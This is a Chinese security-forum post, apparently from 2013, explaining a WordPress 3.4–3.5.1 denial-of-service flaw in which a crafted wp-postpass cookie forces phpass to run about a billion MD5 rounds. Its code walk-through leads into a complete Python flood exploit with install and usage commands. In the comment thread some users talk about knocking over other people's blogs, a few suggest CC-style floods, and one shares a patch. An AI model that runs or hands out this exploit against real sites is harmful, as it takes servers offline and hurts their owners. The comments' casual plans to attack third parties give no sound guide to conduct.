英文原文:WordPress 3.5.1, Denial of Service [UPDATE]
中文译文:Wordpress 3.4 - 3.5.1 逻辑问题导致的 DoS
最终产生 DoS 效果的代码在通用组件phpass中,wp 中位于 /wp-includes/class-phpass.php.
function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id != '$P$' && $id != '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output
接收两个参数,第二个参数的第三个字符控制 md5 函数调用次数。
在前文定义的
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
中,这个字符的取值只能是 “56789ABCDEFGHIJKLMNOPQRS” 中的一个。然后看次数的具体控制,
$count = 1 << $count_log2;
用了左移操作,如果第三个字符为 "S", count = 2^30 ~ 10 亿。一个请求让服务器调用 10 亿次 md5,这个开销有点大。
WP 在掉用过程中,导致第二个参数可以被用户控制,产生 DoS 效果。
来看看调用流程:
用户访问一一篇文章时,WP 会先判断文章是否加密,从而调用 crypt_private。
/wp-includes/post-template.php get_the_content() -> if ( post_password_required($post) ) -> /wp-includes/class-phpass.php CheckPassword() -> crypt_private()
用户可控位置在 post_password_required()里,
$hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ); return ! $wp_hasher->CheckPassword( $post->post_password, $hash );
从 Cookie 里取内容,再作为第二个参数传给 CheckPassword()
function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash == $stored_hash; }
CheckPassword() 第二个参数直接传给了 crypt_private()的第二个参数,至此流程完成。
现在万事俱备只欠东风。我们的东风就是 "COOKIEHASH",在wp 目录下
grep -rn COOKIEHASH .
找到定义
./wp-includes/default-constants.php:150: define( 'COOKIEHASH', md5( $siteurl ) );
原文中取 COOKIEHASH 发了一个 POST 登录请求,在 127.0.0.1 测试,这里取到的就是 md5("http://127.0.0.1/wp").
现在所有条件都满足了,就差一个 exp 了。
原文中的 exp 注释说需要一个篇加密的文章地址,不过从代码逻辑和我的测试来看,只要一个普通文章就够了。
还有就是原来的 exp 是单线程的,对本机效果很好,但是在网络上发送有延迟,所以效果不明显。最关键一点,这个执行过程受 php 的 max_execution_time 限制,默认是 30s。
import httplib import re import time import sys from threading import thread def get_cookie_hash(hostname, wplogin): headers = {'Content-type': 'application/x-www-form-urlencoded'} handler = httplib.HTTPConnection(hostname) # handler.request('POST', url, 'post_password=', headers=headers) handler.request('POST', wplogin, 'action=postpass&post_password=none', headers=headers) response = handler.getresponse() set_cookie = response.getheader('set-cookie') if set_cookie is None: raise RuntimeError('cannot fetch set-cookie header') pattern = re.compile('wp-postpass_([0-9a-f]{32})') result = pattern.search(set_cookie) if result is None: raise RuntimeError('cannot fetch cookie hash') return result.groups()[0] def send_request(hostname, post, cookie_name): headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name} handler = httplib.HTTPConnection(hostname) handler.request('GET', post, 'action=postpass&post_password=a', headers=headers) if __name__ == '__main__': if len(sys.argv) != 5: print sys.argv[0], '127.0.0.1 /wp/wp-login.php /wp/?p=1 1000' sys.exit() hostname = sys.argv[1] # 127.0.0.1 wplogin = sys.argv[2] # '/wp/wp-login.php' posturl = sys.argv[3] # '/wp/?p=1' # link to password protected post requests = int(sys.argv[4]) # 1000 cookie_hash = get_cookie_hash(hostname, wplogin) print '[+] received cookie hash: %s' % cookie_hash while 1: try: g = pool.Pool(size=100) for i in xrange(requests): g.spawn(send_request, hostname, posturl, cookie_hash) g.join() print 'continue to wait 30s ... ' except Exception, e: print e time.sleep(30)
使用前先安装 python-gevent,程序默认为 100 个线程
sudo apt-get install python-gevent
使用方法, 参数依次为 host, 某一篇文章地址, 登录地址(wp-login.php的地址),发送请求数
python wp-dos.py 127.0.0.1 /wp/?p=1 /wp/wp-login.php 1000
相关讨论:
1#
xsser (十根阳具有长短!!) | 2013-10-23 14:09
:)
2#
小胖子 (我承认,我爱过VIP,我仅仅是爱过,因为他死了。) | 2013-10-23 14:12
啊哈,搞一个站试试看去,某人的博客是wp的,哈哈哈
3#
过客 | 2013-10-23 14:23
@xsser exp 使用方法里的第二个和第三个参数反了,帮忙改一下
4#
jeary (?????????????????????????) | 2013-10-23 14:26
wp在BAE,求dos..
5#
无敌L.t.H (:?门安天京北爱我) | 2013-10-23 14:59
已改为define('COOKIEHASH', hash_hmac('md5', $_SERVER['DOCUMENT_ROOT'], $_SERVER['REMOTE_ADDR']));
6#
wefgod (求大牛指点) | 2013-10-23 17:35
给力啊!
7#
过客 | 2013-10-23 22:21
@无敌L.t.H 还要把 wp-login.php 藏起来,要不然还是能取到。
如果不想升级。可以按官方的修补
修改
if ($count_log2 < 7 || $count_log2 > 30)
为
if ($count_log2 < 7 || $count_log2 > 13)
8#
无敌L.t.H (:?门安天京北爱我) | 2013-10-23 22:23
@过客 其实我是准备做个蜜罐。
9#
过客 | 2013-10-23 22:44
@无敌L.t.H 我突然想到,2^13 次单机绝对 D 不挂了,用这个点来 CC,效果应该很不错,而且是 > 3.4 的都可以,哈哈
10#
px1624 (aaaaaaaaa) | 2013-10-23 22:53
@小胖子 z7y的就是wp
11#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-10-25 09:22
木错,多点cc才是王道……